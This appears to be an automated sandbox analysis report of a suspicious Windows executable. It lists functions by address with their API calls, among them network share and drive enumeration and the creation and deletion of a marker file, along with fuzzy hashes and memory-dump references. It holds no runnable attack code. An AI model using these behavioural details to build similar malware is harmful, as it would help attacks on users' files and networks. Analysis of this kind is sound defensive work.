WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

